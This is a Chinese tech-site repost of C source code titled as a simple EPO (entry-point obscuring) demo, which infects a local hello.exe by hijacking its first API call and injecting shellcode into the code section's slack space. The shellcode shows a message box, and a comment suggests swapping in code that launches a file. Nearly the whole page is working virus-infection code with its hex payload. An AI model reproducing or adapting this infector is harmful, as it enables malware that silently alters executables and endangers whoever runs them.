首页 电脑 电脑学堂 查看内容

用C实现简单的EPO

2007-8-3 14:29 587 0

摘要: //:::从代码节开始搜索,替换第一个发现的call api的指令//:::把目标代码插入代码节的尾部//:::代码仅供演示之用,没有做过多的错误处理//:::感染当前hello.exe,插入一段弹出...
关键词: nbsp DWORD pImageSectionHea 代码 pImageNtHeaders pMapping unsigned pImageDosHeader thunkcode 操作数

//:::从代码节开始搜索,替换第一个发现的call api的指令//:::把目标代码插入代码节的尾部//:::代码仅供演示之用,没有做过多的错误处理//:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)//:::coded by robinh00d//:::robinh00d_at_163.com//:::编译:cl epo.c/*要插入的反汇编代码thunk code:00401006   .  60                  PUSHAD00401007   .  9C                  PUSHFD00401008   .  E8 00000000         CALL msg.0040100D0040100D   $  5B                  POP EBX0040100E   .  81EB 0D104000       SUB EBX,msg.0040100D00401014   .  6A 00               PUSH 000401016   .  8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]0040101C   .  50                  PUSH EAX0040101D   .  50                  PUSH EAX0040101E   .  6A 00               PUSH 000401020   .  B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址00401025   .  FFD0                CALL EAX00401027   .  9D                  POPFD00401028   .  61                  POPAD00401029   .  FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API0040102F      90                  NOP00401030   .  72 6F 62 69 6E 68 3>ASCII "robinh00d",0*/#include <windows.h> #pragma comment(lib,"kernel32.lib")#pragma comment(lib,"user32.lib") char szHostFile[] = ".\\hello.exe" ;PIMAGE_DOS_HEADER pImageDosHeader ;PIMAGE_NT_HEADERS pImageNtHeaders ;PIMAGE_SECTION_HEADER pImageSectionHeader ; unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"                            "\x8d\x83\x30\x10\x40\x00\x50\x50"                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"                            "\x00\x90\x72\x6f\x62\x69\x6e\x68"                            "\x30\x30\x64\x00" ;int main(){    HANDLE hFile ;    HANDLE hMap ;    LPVOID pMapping ;    DWORD dwGapSize ;    unsigned char *pGapEntry ;    int i ;    PROC MsgBox ;    DWORD OldEntry ;    int x = 0x18 ;    int vir_len ;    unsigned char *pSearch ;    DWORD *dwCallNextAddr ;    DWORD *dwCallDataOffset ;    DWORD *dwCallDataAddr ;    DWORD dwCallData ;    DWORD dwCodeDistance ;    DWORD *dwJmpAddr ;    DWORD dwJmpData ;    DWORD dwJmpVA ;     //:::    hFile = CreateFile(szHostFile,                        FILE_ALL_ACCESS,                        FILE_SHARE_READ,                        NULL,                        OPEN_EXISTING,                        FILE_ATTRIBUTE_NORMAL,                        NULL) ;                            if (hFile==-1)    {        printf("Open host file failed!\n") ;        return -1 ;    }        hMap = CreateFileMapping(hFile,                            NULL,                            PAGE_READWRITE,                            0,                            0,                            NULL) ;    if (!hMap)    {        printf("Create file mapping falied!\n") ;        return -1 ;    }        pMapping = MapViewOfFile(hMap,                        FILE_MAP_ALL_ACCESS,                        0,                        0,                        0) ;    if (!pMapping)    {        printf("Map view of file failed!\n") ;        return -1 ;    }        //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)    {        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)        {            //:::是合法的PE文件            //:::定位到节表头            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+                                                            pImageDosHeader->e_lfanew+                                                            sizeof(IMAGE_NT_HEADERS)) ;            //:::计算第一个节的空隙大小            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;                        //:::如果代码缝隙小于thunk code的大小则感染失败            if (sizeof(thunkcode)>dwGapSize)            {                printf("no more space to fill!\n") ;                goto Close ;                            }            //:::定位到代码末尾            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+                                            (DWORD)pMapping+                                            pImageSectionHeader->Misc.VirtualSize) ;                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;             MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;             //修改为当前系统的MessageBoxA地址            for (i=3;i>=0;i--)            {                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;                x -= 8 ;            }            x = 24 ;                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+                        (DWORD)pMapping) ;                                    //:::搜索call指令(0xe8)            for (i=0;i<vir_len;i++)            {                if (pSearch[i]==0xe8)                {                    //:::call指令操作数地址                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;                    //:::call下条指令地址                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;                    //:::jmp指令地址                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;                    //:::Jmp指令在内存的虚拟地址VA                    dwJmpVA = (DWORD)dwJmpAddr-                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+                                pImageNtHeaders->OptionalHeader.ImageBase+                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;                    //:::取jmp操作数,返回的时候使用                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;                     if ((*dwJmpAddr&0xffff)==0x25ff)                    {                        //:::修改call操作数                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;                        *dwCallDataAddr = dwCodeDistance ;                        //:::原jmp里的操作数,替换到thunk code的末尾                        for (i=3;i>=0;i--)                        {                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;                            x -= 8 ;                        }                        //把thunk code写入目标宿主程序                        for (i=0;i<sizeof(thunkcode);i++)                        {                            pGapEntry[i] = thunkcode[i] ;                        }                        break ;                    }                }                            }                    }    }    else    {        printf("Invalid file format!\n") ;    }    Close:    UnmapViewOfFile(pMapping) ;    CloseHandle(hMap) ;    CloseHandle(hFile) ;        return 0 ;}  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部